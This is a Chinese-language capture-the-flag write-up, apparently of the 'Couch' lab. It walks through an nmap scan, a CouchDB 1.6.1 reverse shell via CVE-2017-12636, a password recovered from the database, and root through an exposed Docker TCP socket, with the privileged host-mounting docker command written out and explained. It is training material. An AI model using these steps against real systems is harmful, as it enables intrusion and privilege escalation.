Couch
端口扫描
root@ip-10-10-149-225:~/couch# nmap -sTCV -p 22,5984 --min-rate 1000 10.10.113.174
Starting Nmap 7.60 ( https://nmap.org ) at 2023-08-31 10:35 BST
Nmap scan report for ip-10-10-113-174.eu-west-1.compute.internal (10.10.113.174)
Host is up (0.00012s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:9d:39:09:34:30:4b:3d:a7:1e:df:eb:a3:b0:e5:aa (RSA)
| 256 a4:2e:ef:3a:84:5d:21:1b:b9:d4:26:13:a5:2d:df:19 (ECDSA)
|_ 256 e1:6d:4d:fd:c8:00:8e:86:c2:13:2d:c7:ad:85:13:9c (EdDSA)
5984/tcp open http CouchDB httpd 1.6.1 (Erlang OTP/18)
|_http-server-header: CouchDB/1.6.1 (Erlang OTP/18)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
MAC Address: 02:0F:DD:DC:9D:F1 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds
5984
访问该端口进行目录扫描但是因为字典选错的原因, 并没有扫除任何东西, 所以就不贴出了,结合端口扫描内容以及页面显示可以确定服务是: CouchDB/1.6.1
, 然后经过谷歌, 我发现了利用的漏洞
后渗透
couchdb
利用上面的两个漏洞, 我可以获取到一个反向 Shell, 利用脚本 CVE-2017-12636
couchdb —> atena
在获取到 couchdb 的 Shell 后我一直在找可以横向移动的点, 但是一直没有踪迹, 我注意到 5984 是一个数据库服务器, 那里可能有密码存在, 最终我发现了用户的密码
使用这个密码我成功获取到了 atena 的权限
atena --> root
我发现用户 atena 的历史文件是存在内容的, 所以进行了查看发现了一条比较特殊的命令
然后我执行了该命令发现可以进入到 docker 环境中, 从而完成提权操作, 注意此时我们是将系统根目录挂载到容器的 /mnt 下, 所以我们需要去 /mnt/root 下查看root.txt
atena@ubuntu:~$ id
uid=1000(atena) gid=1000(atena) groups=1000(atena),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
atena@ubuntu:~$ docker images
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.39/images/json: dial unix /var/run/docker.sock: connect: permission denied
atena@ubuntu:~$ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
疑问
atena@ubuntu:~$ sudo -l
[sudo] password for atena:
Sorry, user atena may not run sudo on ubuntu.
atena@ubuntu:~$ id
uid=1000(atena) gid=1000(atena) groups=1000(atena),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
atena@ubuntu:~$ docker images
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.39/images/json: dial unix /var/run/docker.sock: connect: permission denied
atena@ubuntu:~$ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
从上面可以看出这个 atena 用户不是 docker 组用户而且没有特权, 但是在我执行 docker images的时候报出没有权限, 但是在我执行提权命令的时候却可以,
我们首先来了解一下我们执行的命令:
atena@ubuntu:~$ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
- docker -H 127.0.0.1:2375: 使用指定的主机地址和端口连接到本地 Docker 守护进程。在这种情况下,使用 IP 地址 127.0.0.1 和端口 2375 连接到本地 Docker 守护进程。
- run: 命令用于在新的容器中运行一个命令。
- --rm: 在容器退出后自动删除容器。
- -it: 以交互模式运行容器,允许你与容器进行交互。
- --privileged: 以特权模式运行容器,即容器内的进程拥有对主机系统的完全访问权限。
- --net=host: 让容器与主机共享网络命名空间,使容器能够访问主机的网络接口和端口。
- -v /:/mnt: 将主机的根目录挂载到容器的 /mnt 目录,即将主机的根文件系统作为容器内的挂载点。
从这里我们可以看出这是连接本地 Docker 的守护进程, 接着查看后台进程我发现
/usr/bin/dockerd -H=fd:// -H=tcp://127.0.0.1:2375
是在命令行中启动 Docker 守护进程的命令,并指定了一些参数。
解释如下:
/usr/bin/dockerd
: 这是 Docker 守护进程的可执行文件路径。通常情况下,它在/usr/bin/
目录下。H=fd://
: 这个选项指定 Docker 守护进程通过文件描述符(file descriptor)的方式进行通信。它表示使用与 Docker 客户端之间的标准输入输出(stdin/stdout)来进行 通信。这种配置通常用于与 Docker 客户端在同一主机上的情况。H=tcp://127.0.0.1:2375
: 这个选项指定 Docker 守护进程通过 TCP 进行通信,并绑定到本地主机的 IP 地址127.0.0.1
和端口2375
。这意味着 Docker 守护进程将通过 TCP 监听来自本地主机的连接请求,允许 Docker 客户端连接到守护进程进行远程管理操作。
通过上述命令,Docker 守护进程将同时支持通过文件描述符和 TCP 进行通信,使得可以在同一主机上通过标准输入输出或远程 TCP 连接来管理 Docker。